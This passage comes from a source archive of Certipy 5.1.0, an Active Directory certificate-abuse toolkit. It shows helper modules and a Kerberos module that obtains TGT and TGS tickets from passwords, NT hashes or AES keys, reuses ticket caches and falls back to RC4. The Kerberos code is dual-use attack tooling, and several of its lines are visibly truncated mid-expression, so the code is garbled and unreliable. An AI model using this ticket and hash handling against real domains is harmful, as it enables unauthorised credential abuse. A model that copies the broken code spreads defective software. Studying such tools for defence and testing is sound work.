"b4e60130-df3f-11d1-9c86-006008764d0e": "msmq-Open-Connector",
# Authentication and access
"5f202010-79a5-11d0-9020-00c04fc2d4cf": "User-Logon",
"bc0ac240-79a9-11d0-9020-00c04fc2d4cf": "Membership",
"a1990816-4298-11d1-ade2-00c04fd8d5cd": "Open-Address-Book",
"bf9679c0-0de6-11d0-a285-00aa003049e2": "Self-Membership",
"72e39547-7b18-11d1-adef-00c04fd8d5cd": "DNS-Host-Name-Attributes",
"f3a64788-5306-11d1-a9c5-0000f80367c1": "Validated-SPN",
"ba33815a-4f93-4c76-87f3-57574bff8109": "Migrate-SID-History",
"45ec5156-db7e-47bb-b53f-dbeb2d03c40f": "Reanimate-Tombstones",
"68b1d179-0d15-4d4f-ab71-46152e79a7bc": "Allowed-To-Authenticate",
"91d67418-0135-4acc-8d79-c08e857cfbec": "SAM-Enumerate-Entire-Domain",
"d31a8757-2447-4545-8081-3bb610cacbf2": "Validated-MS-DS-Behavior-Version",
"80863791-dbe9-4eb8-837e-7f0ab55d9ac7": "Validated-MS-DS-Additional-DNS-Host-Name",
"3e0f7e18-2c7a-4c10-ba82-4d926db99a3e": "DS-Clone-Domain-Controller",
# Policy and system management
"edacfd8f-ffb3-11d1-b41d-00a0c968f939": "Apply-Group-Policy",
"b7b1b3dd-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Planning",
"b7b1b3de-ab09-4242-9e30-9980e5d322f7": "Generate-RSoP-Logging",
"9432c620-033c-4db7-8b58-14ef6d0bf477": "Refresh-Group-Cache",
"b8119fd0-04f6-4762-ab7a-4986c76b3f9a": "Domain-Other-Parameters",
"e2a36dc9-ae17-47c3-b58b-be34c55ba633": "Create-Inbound-Forest-Trust",
"7726b9d5-a4b4-4288-a6b2-dce952e80a7f": "Run-Protect-Admin-Groups-Task",
"7c0e2a7c-a419-48e4-a995-10180aad54dd": "Manage-Optional-Features",
# Certificate and cryptography
"0e10c968-78fb-11d2-90d4-00c04f79dc55": "Enroll",
"a05b8cc2-17bc-4802-a710-e7c15ab866a2": "AutoEnroll",
"1a60ea8d-58a6-4b20-bcdc-fb71eb8a9ff8": "Reload-SSL-Certificate",
"5805bc62-bdc9-4428-a5e2-856a0f4c185e": "Terminal-Server-License-Server",
"ffa6f046-ca4b-4feb-b40d-04dfee722543": "MS-TS-GatewayAccess",
# Special rights
"00000000-0000-0000-0000-000000000000": "All-Extended-Rights",
}
# Create reverse mapping from name to UUID for lookup by name
EXTENDED_RIGHTS_NAME_MAP = {v: k for k, v in EXTENDED_RIGHTS_MAP.items()}
Certipy-5.1.0/certipy/lib/errors.py 0000775 0000000 0000000 00000004347 15216574665 0017303 0 ustar 00root root 0000000 0000000 """
Error code translation utilities for Certipy.
This module provides functions for translating numeric error codes from Windows APIs
and Kerberos services into human-readable messages. It acts as a wrapper around
the error code mappings provided by the impacket library.
Functions:
translate_error_code: Convert a Windows error code to a readable message
"""
import traceback
from typing import Dict, Tuple
from impacket import hresult_errors
from impacket.krb5.kerberosv5 import constants as krb5_constants
from certipy.lib.logger import is_verbose, logging
# Import Kerberos error message dictionary for easier access
KRB5_ERROR_MESSAGES: Dict[int, Tuple[str, str]] = krb5_constants.ERROR_MESSAGES
def translate_error_code(error_code: int) -> str:
"""
Translate a Windows API error code to a human-readable string.
Args:
error_code: Windows API error code (HRESULT)
Returns:
Formatted error message with code, short description, and detailed explanation
Example:
>>> translate_error_code(0x80090311)
'code: 0x80090311 - SEC_E_LOGON_DENIED - The token supplied to the function is invalid'
"""
# Mask to 32 bits to handle sign extension issues
masked_code = error_code & 0xFFFFFFFF
# Look up in the impacket error dictionary
if masked_code in hresult_errors.ERROR_MESSAGES:
error_tuple: Tuple[str, str] = hresult_errors.ERROR_MESSAGES[masked_code]
error_short, error_detail = error_tuple
# Format the message with all information
return f"code: 0x{masked_code:x} - {error_short} - {error_detail}"
else:
# Handle unknown error codes
return f"unknown error code: 0x{masked_code:x}"
def handle_error(is_warning: bool = False) -> None:
"""
Handle errors by printing the error message and exiting the program.
This function is a placeholder for error handling logic. It can be extended
to include logging, user notifications, or other actions as needed.
"""
if is_verbose():
# Print the full traceback for debugging
traceback.print_exc()
else:
msg = "Use -debug to print a stacktrace"
if is_warning:
logging.warning(msg)
else:
logging.error(msg)
Certipy-5.1.0/certipy/lib/files.py 0000664 0000000 0000000 00000005536 15216574665 0017067 0 ustar 00root root 0000000 0000000 """
File handling utilities for Certipy.
This module provides functions for safely writing data to files
with appropriate fallback mechanisms.
"""
import base64
import os
import uuid
from typing import Union
from certipy.lib.errors import handle_error
from certipy.lib.logger import logging
def try_to_save_file(
data: Union[bytes, str], output_path: str, abort_on_fail: bool = False
) -> str:
"""
Try to write data to a file or stdout if file writing fails.
This function attempts to save data to the specified path. If writing fails,
it outputs to stdout instead. If the file already exists, the user is
prompted to confirm overwriting.
Args:
data: Data to write (either binary bytes or text string)
output_path: Path to output file
abort_on_fail: If True, abort the operation on failure
"""
logging.debug(f"Attempting to write data to {output_path!r}")
# Clean up the output path
output_path = output_path.replace("\\", "_").replace("/", "_").replace(":", "_")
# Handle file existence check and overwrite confirmation
output_path = _handle_file_exists(output_path)
# Write to file with appropriate mode
try:
mode = "wb" if isinstance(data, bytes) else "w"
with open(output_path, mode) as f:
f.write(data)
logging.debug(f"Data written to {output_path!r}")
return output_path
except Exception as e:
if abort_on_fail:
logging.error(f"Error writing output file: {e}")
raise
logging.error(f"Error writing output file: {e}. Dumping to stdout instead")
handle_error()
_write_to_stdout(data)
return "stdout"
def _handle_file_exists(path: str) -> str:
"""
Handle the case where a file already exists.
Prompts the user to confirm overwriting or generates a new unique filename.
If the user chooses not to overwrite, a UUID is appended to create a unique name.
Args:
path: Original file path
Returns:
Final path to use (either original or new unique path)
"""
if os.path.exists(path):
overwrite = input(
f"File {path!r} already exists. Overwrite? (y/n - saying no will save with a unique filename): "
)
if overwrite.strip().lower() != "y":
# Generate a unique filename
base, ext = os.path.splitext(path)
new_path = f"{base}_{uuid.uuid4()}{ext}"
logging.debug(f"Using alternative filename: {new_path!r}")
return new_path
return path
def _write_to_stdout(data: Union[bytes, str]) -> None:
"""
Write data to stdout, encoding binary data as base64 if needed.
Args:
data: Data to output (binary data will be base64 encoded)
"""
if isinstance(data, bytes):
print(base64.b64encode(data).decode())
else:
print(data)
Certipy-5.1.0/certipy/lib/formatting.py 0000775 0000000 0000000 00000007265 15216574665 0020143 0 ustar 00root root 0000000 0000000 """
Formatting utilities for Certipy.
This module provides functions for formatting data into human-readable formats,
including pretty printing dictionaries, and case conversion.
"""
import datetime
from typing import Any, Callable, Dict
# Type aliases for better readability
PrintFunc = Callable[..., Any]
JsonLike = Dict[str, Any]
def to_pascal_case(snake_str: str) -> str:
"""
Convert a snake_case string to PascalCase.
Args:
snake_str: String in snake_case format
Returns:
String converted to PascalCase
Example:
>>> to_pascal_case("hello_world")
"HelloWorld"
"""
components = snake_str.split("_")
return "".join(x.title() for x in components)
REMAP = {
"http": "HTTP",
"https": "HTTPS",
"enabled": "Enabled",
"channel_binding": "Channel Binding (EPA)",
}
def pretty_print(
data: JsonLike, indent: int = 0, padding: int = 40, print_func: PrintFunc = print
) -> None:
"""
Pretty print a dictionary with customizable indentation and padding.
Handles nested dictionaries, lists, and various data types with appropriate formatting.
Args:
data: Dictionary to print
indent: Initial indentation level
padding: Left padding for values
print_func: Function to use for printing (default: built-in print)
Raises:
TypeError: If input is not a dictionary or contains unsupported types
"""
indent_str = " " * indent
for key, value in data.items():
if key in REMAP:
# Remap keys if needed
key = REMAP[key]
key_str = f"{indent_str}{key}"
padded_key = key_str.ljust(padding, " ")
if isinstance(value, (str, int, float, bool)):
# Simple scalar types
print_func(f"{padded_key}: {value}")
elif isinstance(value, datetime.datetime):
# Format datetime as ISO format
print_func(f"{padded_key}: {value.isoformat()}")
elif isinstance(value, dict):
# Handle nested dictionaries
print_func(f"{key_str}")
pretty_print(
value, indent=indent + 1, padding=padding, print_func=print_func
)
elif isinstance(value, list):
if len(value) > 0 and isinstance(value[0], dict):
# List of dictionaries
print_func(f"{key_str}")
for item in value:
if isinstance(item, dict):
pretty_print(
item,
indent=indent + 1,
padding=padding,
print_func=print_func,
)
else:
print_func(f"{indent_str} {item}")
else:
# Format list with line breaks if needed
formatted_list = ("\n" + " " * padding + " ").join(
str(x) for x in value
)
print_func(f"{padded_key}: {formatted_list}")
elif isinstance(value, tuple):
# Handle tuples (similar to lists of dictionaries)
print_func(f"{key_str}")
for item in value:
if isinstance(item, dict):
pretty_print(
item, indent=indent + 1, padding=padding, print_func=print_func
)
else:
print_func(f"{indent_str} {item}")
elif value is None:
# Skip None values
continue
else:
# Unsupported type
raise TypeError(
f"Unsupported type for pretty printing: {type(value).__name__}"
)
Certipy-5.1.0/certipy/lib/http.py 0000664 0000000 0000000 00000001201 15216574665 0016725 0 ustar 00root root 0000000 0000000 from typing import Literal
def get_authentication_method(
authenticate_header: str,
) -> Literal["NTLM", "Negotiate"]:
"""
Get the authentication method from the WWW-Authenticate header.
Args:
authenticate_header: The WWW-Authenticate header value
Returns:
The authentication method (e.g., "NTLM", "Negotiate")
"""
authenticate_header = authenticate_header.lower()
if "ntlm" in authenticate_header:
return "NTLM"
elif "negotiate" in authenticate_header:
return "Negotiate"
else:
raise ValueError(f"Unsupported authentication method: {authenticate_header}")
Certipy-5.1.0/certipy/lib/kerberos.py 0000775 0000000 0000000 00000100015 15216574665 0017570 0 ustar 00root root 0000000 0000000 """
Kerberos authentication module for Certipy.
This module provides functionality for Kerberos-based authentication and ticket management,
supporting both credential-based and ticket-based operations against Windows services.
Key features:
- TGT (Ticket Granting Ticket) acquisition and caching
- TGS (Ticket Granting Service) ticket acquisition and caching
- Kerberos authentication for HTTP requests
- Support for channel binding with EPA (Extended Protection for Authentication)
- Encryption and decryption using various Kerberos ciphers
"""
import base64
import datetime
import os
import random
import string
import struct
from typing import Any, Dict, Generator, Optional, Tuple, cast
import httpx
from Cryptodome.Cipher import ARC4
from Cryptodome.Hash import HMAC, MD5
from impacket.krb5 import constants
from impacket.krb5.asn1 import AP_REQ, TGS_REP, Authenticator, seq_set
from impacket.krb5.ccache import CCache
from impacket.krb5.crypto import Key
from impacket.krb5.gssapi import (
GSS_C_CONF_FLAG,
GSS_C_INTEG_FLAG,
GSS_C_REPLAY_FLAG,
GSS_C_SEQUENCE_FLAG,
GSS_HMAC,
GSS_RC4,
)
from impacket.krb5.gssapi import GSSAPI as create_kerberos_cipher # noqa: N811
from impacket.krb5.gssapi import (
GSSAPI_RC4,
KG_USAGE_ACCEPTOR_SEAL,
KG_USAGE_INITIATOR_SEAL,
CheckSumField,
)
from impacket.krb5.kerberosv5 import KerberosError, getKerberosTGS, getKerberosTGT
from impacket.krb5.types import KerberosTime, Principal, Ticket
from impacket.spnego import SPNEGO_NegTokenInit, TypesMech
from pyasn1.codec.ber import decoder, encoder
from pyasn1.type.univ import noValue
from certipy.lib.channel_binding import get_channel_binding_data_from_response
from certipy.lib.logger import logging
from certipy.lib.structs import e2i
from certipy.lib.target import Target
# Try to use a secure random number generator, fallback to standard if not available
try:
rand = random.SystemRandom()
except NotImplementedError:
logging.warning(
"System RNG not available, falling back to less secure random generator"
)
rand = random
# Constants
KERB_AP_OPTIONS_CBT = 0x4000 # Channel Binding token flag
KRB_CLOCK_SKEW = 300 # 5 minutes in seconds
AUTH_DATA_AP_OPTIONS = 143 # AD-AUTH-DATA-AP-OPTIONS type
KRB_OID = b"\x06\t*\x86H\x86\xf7\x12\x01\x02\x02" # Kerberos OID: 1.2.840.113554.1.2.2
# Cache for TGT and TGS tickets to avoid redundant authentication
# Keys: (username, domain, lmhash, nthash, aeskey, kdc_host)
TGT_CACHE: Dict[
Tuple[str, str, bytes, bytes, bytes, Optional[str]], Tuple[bytes, type, Key]
] = {}
# Keys: (spn, domain, kdc_host, kdc_rep, cipher, session_key)
TGS_CACHE: Dict[
Tuple[str, str, Optional[str], Any, Optional[type], Any], Tuple[bytes, type, Key]
] = {}
def _convert_to_binary(data: Optional[str]) -> Optional[bytes]:
"""
Convert string hex representation to binary bytes.
Args:
data: String hex representation or None
Returns:
Bytes representation or None if input was None or empty
"""
if not data:
return None
return bytes.fromhex(data)
class MechIndepToken:
"""
Mechanism Independent Token implementation for Kerberos authentication.
This class handles the encoding and decoding of GSS-API tokens with
embedded mechanism identifiers (OIDs) for Kerberos.
"""
def __init__(self, data: bytes, oid: bytes):
"""
Initialize a mechanism independent token.
Args:
data: Token data
oid: Object identifier for the authentication mechanism
"""
self.data = data
self.token_oid = oid
@staticmethod
def from_bytes(data: bytes) -> "MechIndepToken":
"""
Parse a mechanism independent token from its binary representation.
Args:
data: Binary data to parse
Returns:
Parsed MechIndepToken object
Raises:
Exception: If the data format is invalid
"""
if data[0:1] != b"\x60":
raise Exception("Incorrect token data format (expected 0x60)")
data = data[1:]
length, data = MechIndepToken._get_length(data)
token_data = data[0:length]
if token_data[0:1] != b"\x06":
raise Exception("Incorrect OID tag in token data")
oid_length, _ = MechIndepToken._get_length(token_data[1:])
token_oid = token_data[0 : oid_length + 2]
data = token_data[oid_length + 2 :]
return MechIndepToken(data, token_oid)
@staticmethod
def _get_length(data: bytes) -> Tuple[int, bytes]:
"""
Extract ASN.1 length from the given data.
Args:
data: Binary data containing ASN.1 length
Returns:
Tuple of (length, remaining_data)
"""
if data[0] < 128:
# Short form - length is in the first byte
return data[0], data[1:]
else:
# Long form - first byte (minus 128) indicates number of length bytes
bytes_count = data[0] - 128
length = int.from_bytes(
data[1 : 1 + bytes_count], byteorder="big", signed=False
)
return length, data[1 + bytes_count :]
@staticmethod
def _encode_length(length: int) -> bytes:
"""
Encode a length value in ASN.1 format.
Args:
length: Length value to encode
Returns:
ASN.1 encoded length bytes
"""
if length < 128:
# Short form - single byte
return length.to_bytes(1, byteorder="big", signed=False)
else:
# Long form - multiple bytes
length_bytes = length.to_bytes((length.bit_length() + 7) // 8, "big")
return (128 + len(length_bytes)).to_bytes(
1, byteorder="big", signed=False
) + length_bytes
def to_bytes(self) -> Tuple[bytes, bytes]:
"""
Convert the token to its binary representation.
Returns:
Tuple of (header_bytes, data_bytes)
"""
complete_token = self.token_oid + self.data
# Create the ASN.1 structure
token_bytes = (
b"\x60" + self._encode_length(len(complete_token)) + complete_token
)
# Return the header and data portions separately
header_end = len(token_bytes) - len(self.data)
return token_bytes[:header_end], self.data
class KerberosCipher:
"""
Implements encryption and decryption for Kerberos GSS-API messages.
This class supports both RC4 and AES ciphers for securing GSSAPI
communications in Kerberos authentication.
"""
def __init__(self, cipher: type, session_key: Key):
"""
Initialize the KerberosCipher object.
Args:
cipher: Cipher class for encryption/decryption
session_key: Session key for encryption/decryption
"""
self.cipher = create_kerberos_cipher(cipher)
self.session_key = session_key
def encrypt(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:
"""
Encrypt data using the appropriate Kerberos cipher.
Automatically selects between RC4 and AES encryption based on the
cipher type.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
"""
if isinstance(self.cipher, GSSAPI_RC4):
return self._encrypt_rc4(data, sequence_number)
else:
return self._encrypt_aes(data, sequence_number)
def decrypt(self, data: bytes) -> bytes:
"""
Decrypt data using the appropriate Kerberos cipher.
Automatically selects between RC4 and AES decryption based on the
cipher type.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
"""
if isinstance(self.cipher, GSSAPI_RC4):
return self._decrypt_rc4(data)
else:
return self._decrypt_aes(data)
def _encrypt_aes(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:
"""
Encrypt data using AES cipher.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
Raises:
ValueError: If RC4 cipher is provided for AES encryption
"""
if isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("RC4 cipher cannot be used for AES encryption")
# Create token structure
token = self.cipher.WRAP()
cipher = self.cipher.cipherType
# Set RRC (Required Role Check) for in-place encryption
rrc = 28
# Set token flags
token["Flags"] = 6 # Privacy and Integrity
token["EC"] = 0 # Extra Count
token["RRC"] = 0 # Initially zero
token["SND_SEQ"] = struct.pack(">Q", sequence_number) # Sequence number
# Encrypt the data with the token
cipher_text = cipher.encrypt(
self.session_key, KG_USAGE_INITIATOR_SEAL, data + token.getData(), None
)
# Update RRC in token
token["RRC"] = rrc
# Apply rotation based on RRC and EC
cipher_text = self.cipher.rotate(cipher_text, token["RRC"] + token["EC"])
return cipher_text, token.getData()
def _decrypt_aes(self, data: bytes) -> bytes:
"""
Decrypt data using AES cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
Raises:
ValueError: If RC4 cipher is provided for AES decryption
"""
if isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("RC4 cipher cannot be used for AES decryption")
# Extract token and cipher text
token = self.cipher.WRAP(data[:16])
rotated_data = data[16:]
# Create cipher instance
cipher = self.cipher.cipherType()
# Unrotate the cipher text
cipher_text = self.cipher.unrotate(rotated_data, token["RRC"] + token["EC"])
# Decrypt the data
plain_text = cipher.decrypt(
self.session_key, KG_USAGE_ACCEPTOR_SEAL, cipher_text
)
# Remove token data from the end
return plain_text[: -(token["EC"] + 16)]
def _encrypt_rc4(self, data: bytes, sequence_number: int) -> Tuple[bytes, bytes]:
"""
Encrypt data using RC4 cipher.
Args:
data: Plaintext data to encrypt
sequence_number: Message sequence number for integrity
Returns:
Tuple of (cipher_text, signature)
Raises:
ValueError: If AES cipher is provided for RC4 encryption
"""
if not isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("AES cipher cannot be used for RC4 encryption")
# Add encryption flag byte
data_with_flag = data + b"\x01"
# Create token structure
token = self.cipher.WRAP()
token["SGN_ALG"] = GSS_HMAC
token["SEAL_ALG"] = GSS_RC4
# Set sequence number
token["SND_SEQ"] = struct.pack(">L", sequence_number) + b"\x00" * 4
# Generate random confounding bytes
token["Confounder"] = "".join(
[rand.choice(string.ascii_letters) for _ in range(8)]
).encode()
# Generate signing key
k_sign = HMAC.new(self.session_key.contents, b"signaturekey\0", MD5).digest()
# Generate checksum
sgn_cksum = MD5.new(
struct.pack("L", sequence_number), MD5).digest()
# Generate sequence key
k_seq = HMAC.new(self.session_key.contents, struct.pack(" bytes:
"""
Decrypt data using RC4 cipher.
Args:
data: Encrypted data to decrypt
Returns:
Decrypted plaintext
Raises:
ValueError: If AES cipher is provided for RC4 decryption
Exception: If data format is invalid
"""
if not isinstance(self.cipher, GSSAPI_RC4):
raise ValueError("AES cipher cannot be used for RC4 decryption")
try:
# Parse mechanism independent token
token = MechIndepToken.from_bytes(data)
# Extract WRAP token from first 32 bytes
wrap = self.cipher.WRAP(token.data[:32])
encrypted_data = token.data[32:]
# Generate sequence key
k_seq = HMAC.new(
self.session_key.contents, struct.pack(" Generator[httpx.Request, httpx.Response, None]:
"""
Implement the authentication flow for HTTPX.
This generator handles the first request and delegates to retry_with_auth
if authentication is required.
Args:
request: The HTTPX request to authenticate
Yields:
Modified requests with appropriate authentication headers
"""
# Set connection to keep-alive to maintain the authentication state
request.headers["Connection"] = "Keep-Alive"
# Send the initial request
response = yield request
# If server requires authentication, proceed with Kerberos auth
if response.status_code in (401, 407):
yield from self.retry_with_auth(request, response)
def retry_with_auth(
self, request: httpx.Request, response: httpx.Response
) -> Generator[httpx.Request, httpx.Response, None]:
"""
Retry the request with Kerberos authentication.
This method adds Kerberos SPNEGO authentication header to the request.
Args:
request: The original HTTPX request
response: The HTTPX response requiring authentication
Yields:
Modified request with Kerberos authentication header
Raises:
ValueError: If server doesn't provide an authentication challenge
"""
# Determine header names based on status code (proxy vs direct)
is_proxy = response.status_code == 407
authenticate_header_name = (
"Proxy-Authenticate" if is_proxy else "WWW-Authenticate"
)
authorization_header_name = (
"Proxy-Authorization" if is_proxy else "Authorization"
)
# Check if server sent authentication challenge
authenticate_header = response.headers.get(authenticate_header_name)
if authenticate_header is None:
raise ValueError(
f"No {authenticate_header_name} header found in server response"
)
# Get channel binding data if enabled
channel_binding_data = None
if self.channel_binding:
channel_binding_data = get_channel_binding_data_from_response(response)
if channel_binding_data:
logging.debug("Using channel binding for Kerberos authentication")
else:
logging.debug("Channel binding data not available for this connection")
# Generate Kerberos token
_, _, spnego_blob, _ = get_kerberos_type1(
self.target, self.target.remote_name, self.service, channel_binding_data
)
# Add token to request header
auth_header = f"Negotiate {base64.b64encode(spnego_blob).decode()}"
request.headers[authorization_header_name] = auth_header
# Return the authenticated request
yield request
def get_kerberos_type1(
target: Target,
target_name: str = "",
service: str = "HOST",
channel_binding_data: Optional[bytes] = None,
signing: bool = False,
) -> Tuple[type, Key, bytes, str]:
"""
Generate a Kerberos Type 1 authentication message (AP_REQ).
Creates a SPNEGO token containing Kerberos AP_REQ that can be used for HTTP
or other protocol authentication. Supports channel binding for EPA.
Args:
target: Target object containing authentication details
target_name: Name of the target server
service: Service type (e.g., "HTTP", "HOST")
channel_binding_data: Optional channel binding token data for EPA
signing: Whether to enable signing and encryption flags
Returns:
Tuple containing:
- Cipher object for encryption
- Session key for future operations
- SPNEGO token as bytes
- Authenticated username
"""
# Get TGS ticket for the service
tgs, cipher, session_key, username, domain = get_tgs(target, target_name, service)
# Create principal for the client
principal = Principal(username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL))
# Create SPNEGO token
blob = SPNEGO_NegTokenInit()
blob["MechTypes"] = [TypesMech["MS KRB5 - Microsoft Kerberos 5"]]
# Extract ticket from TGS response
tgs_rep = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
_ = ticket.from_asn1(tgs_rep["ticket"])
# Build AP_REQ message
ap_req = AP_REQ()
ap_req["pvno"] = 5 # Protocol version number
ap_req["msg-type"] = e2i(constants.ApplicationTagNumbers.AP_REQ)
ap_req["ap-options"] = constants.encodeFlags([]) # No options by default
seq_set(ap_req, "ticket", ticket.to_asn1)
# Create authenticator
authenticator = Authenticator()
authenticator["authenticator-vno"] = 5 # Version number
authenticator["crealm"] = domain
seq_set(authenticator, "cname", principal.components_to_asn1)
# Add timestamp
now = datetime.datetime.now(datetime.timezone.utc)
authenticator["cusec"] = now.microsecond
authenticator["ctime"] = KerberosTime.to_asn1(now)
# Set up the GSS-API checksum
authenticator["cksum"] = noValue
authenticator["cksum"]["cksumtype"] = 0x8003 # GSS API checksum type
checksum = CheckSumField()
checksum["Lgth"] = 16
# Set flags for message protection
flags = GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG
if signing:
flags |= GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG
checksum["Flags"] = flags
# Add channel binding data if provided
if channel_binding_data:
checksum["Bnd"] = channel_binding_data
authenticator["cksum"]["checksum"] = checksum.getData()
# Add authorization data for channel binding
if channel_binding_data:
authenticator["authorization-data"] = noValue
authenticator["authorization-data"][0] = noValue
authenticator["authorization-data"][0]["ad-type"] = AUTH_DATA_AP_OPTIONS
authenticator["authorization-data"][0]["ad-data"] = struct.pack(
" Tuple[bytes, type, Key, str, str]:
"""
Obtain a Ticket Granting Service (TGS) ticket for the specified service.
This function implements a multi-step strategy for acquiring a TGS:
1. Try to use credentials from an existing Kerberos ticket cache (KRB5CCNAME)
2. Request a new TGT using provided credentials if needed
3. Use the TGT to request a service ticket (TGS)
4. Handle encryption type fallbacks for compatibility with different KDCs
Args:
target: Target object with authentication details (username, domain, etc.)
target_name: Hostname of the target server
service: Service type (e.g., "HTTP", "HOST", "LDAP")
Returns:
Tuple containing:
- TGS data (bytes)
- Cipher object for encryption operations
- Session key for subsequent communications
- Authenticated username
- Authenticated domain
Raises:
KerberosError: For Kerberos protocol errors (bad credentials, expired tickets, etc.)
Exception: For general errors (missing cache files, misconfiguration)
"""
# Extract authentication details from target
username = target.username
password = target.password
domain = target.domain
lmhash = _convert_to_binary(target.lmhash) or b""
nthash = _convert_to_binary(target.nthash) or b""
aes_key = _convert_to_binary(target.aes) or b""
kdc_host = target.dc_ip
tgt: Optional[Dict[str, Any]] = None
tgs: Optional[Dict[str, Any]] = None
# Step 1: Try to use existing ticket cache if available
logging.debug("Checking for Kerberos ticket cache")
ccache = None
krb5ccname = os.getenv("KRB5CCNAME")
if krb5ccname:
try:
ccache = CCache.loadFile(krb5ccname)
logging.debug(f"Loaded Kerberos cache from {krb5ccname}")
except Exception as e:
logging.debug(f"Failed to load Kerberos cache: {e}")
if ccache:
# Validate cache and extract information
if not ccache.principal:
raise Exception("No principal found in CCache file")
if not ccache.principal.realm:
raise Exception("No realm/domain found in CCache file")
# Extract domain from cache if needed
ccache_domain = ccache.principal.realm["data"].decode("utf-8")
if not domain:
domain = ccache_domain
logging.debug(f"Domain retrieved from CCache: {domain}")
# Extract username from cache components
ccache_username = "/".join(
map(lambda x: x["data"].decode(), ccache.principal.components)
)
# Try to find appropriate credentials in cache
# First look for the specific service ticket
principal = f"{service}/{target_name.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is None:
# If service ticket not found, look for TGT
principal = f"krbtgt/{domain.upper()}@{domain.upper()}"
creds = ccache.getCredential(principal)
if creds is not None:
tgt = creds.toTGT()
logging.debug("Using TGT from cache")
else:
logging.debug("No valid credentials found in cache")
else:
tgs = creds.toTGS(principal)
logging.debug(f"Using {service} ticket from cache")
# Validate username from credentials or cache
if creds is not None:
ccache_username = (
creds["client"].prettyPrint().split(b"@")[0].decode("utf-8")
)
logging.debug(
f"Username retrieved from CCache credential: {ccache_username}"
)
elif ccache.principal.components:
ccache_username = ccache.principal.components[0]["data"].decode("utf-8")
logging.debug(
f"Username retrieved from CCache principal: {ccache_username}"
)
# Verify username matches if specified
if username and ccache_username.lower() != username.lower():
logging.warning(
f"Username {username!r} does not match username in CCache {ccache_username!r}"
)
tgt = None
tgs = None
else:
username = ccache_username
# Verify domain matches if specified
if domain and ccache_domain.lower() != domain.lower():
logging.warning(
f"Domain {domain!r} does not match domain in CCache {ccache_domain!r}"
)
# Step 2: Set up the client principal
user_principal = Principal(
username, type=e2i(constants.PrincipalNameType.NT_PRINCIPAL)
)
kdc_rep = bytes()
cipher: Optional[type] = None
session_key: Optional[Key] = None
rc4_fallback_attempted = False
# Step 3: Authentication flow - try to get TGT then TGS
while True:
try:
# Step 3.1: Get or use TGT
if tgt is None:
if tgs is None:
# Request new TGT if we don't have one
logging.debug(f"Getting TGT for {username!r}@{domain!r}")
# Check if we have a cached TGT
cache_key = (username, domain, lmhash, nthash, aes_key, kdc_host)
if cache_key in TGT_CACHE:
logging.debug(f"Using cached TGT for {username!r}@{domain!r}")
kdc_rep, cipher, session_key = TGT_CACHE[cache_key]
else:
if not password and not lmhash and not nthash and not aes_key:
raise ValueError("No credentials provided for TGT request")
# Request new TGT
kdc_rep, cipher, _, session_key = getKerberosTGT(
user_principal, password, domain, lmhash, nthash, aes_key, kdc_host # type: ignore
)
# Cache the TGT for future use
TGT_CACHE[cache_key] = (
cast(bytes, kdc_rep),
cast(type, cipher),
cast(Key, session_key),
)
logging.debug(f"Got TGT for {username!r}@{domain!r}")
else:
# If we already have a TGS, no need for TGT
kdc_rep = tgs["KDC_REP"]
cipher = tgs["cipher"]
session_key = tgs["sessionKey"]
logging.debug(
f"Using existing TGS for {username!r}@{domain!r} for {service!r} service"
)
break
else:
# Use existing TGT
kdc_rep = tgt["KDC_REP"]
cipher = tgt["cipher"]
session_key = tgt["sessionKey"]
# Step 3.2: Get or use TGS
if tgs is None:
# Format the Service Principal Name (SPN)
spn = f"{service}/{target_name}"
server_principal = Principal(
spn,
type=e2i(constants.PrincipalNameType.NT_SRV_INST),
)
logging.debug(f"Getting TGS for {spn!r}")
# Check if we have a cached TGS
cache_key = (spn, domain, kdc_host, kdc_rep, cipher, session_key)
if cache_key in TGS_CACHE:
logging.debug(f"Using cached TGS for {spn!r}")
kdc_rep, cipher, session_key = TGS_CACHE[cache_key]
else:
# Request new TGS
kdc_rep, cipher, _, session_key = getKerberosTGS(
server_principal, domain, kdc_host, kdc_rep, cipher, session_key
)
# Cache the TGS for future use
TGS_CACHE[cache_key] = (kdc_rep, cipher, session_key)
logging.debug(f"Got TGS for {spn!r}")
break
else:
# Use existing TGS
kdc_rep = tgs["KDC_REP"]
cipher = tgs["cipher"]
session_key = tgs["sessionKey"]
break
except KerberosError as e:
# Handle encryption type incompatibility
if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP:
# Fall back to RC4 if using password auth without explicit hashes
if (
not rc4_fallback_attempted
and not lmhash
and not nthash
and not aes_key
and password
and not tgt
and not tgs
):
from impacket.ntlm import compute_lmhash, compute_nthash
logging.warning(
"AES encryption not supported by KDC, falling back to RC4"
)
lmhash = compute_lmhash(password)
nthash = compute_nthash(password)
rc4_fallback_attempted = True
# Clear cache entries that might have used AES
tgt = None
continue
else:
logging.error(
f"KDC doesn't support the requested encryption type: {e}"
)
raise
else:
logging.error(f"Kerberos error: {e} (Error code: {e.getErrorCode()})")
raise
except Exception as e:
# Handle other exceptions with more detailed error messages
logging.error(f"Error during Kerberos authentication: {e}")
raise
# Step 4: Extract client information from ticket
ticket = decoder.decode(kdc_rep, asn1Spec=TGS_REP())[0]
client_name = Principal()
client_name = client_name.from_asn1(ticket, "crealm", "cname")
# Extract the username and domain from the client name
username = "@".join(str(client_name).split("@")[:-1])
domain = client_name.realm or ""
return kdc_rep, cast(type, cipher), cast(Key, session_key), username, domain
Certipy-5.1.0/certipy/lib/ldap.py 0000775 0000000 0000000 00000137351 15216574665 0016711 0 ustar 00root root 0000000 0000000 """
LDAP connection and query functionality for Certipy.
This module provides classes and methods for:
- Establishing LDAP/LDAPS connections to Active Directory
- Performing common search and modification operations
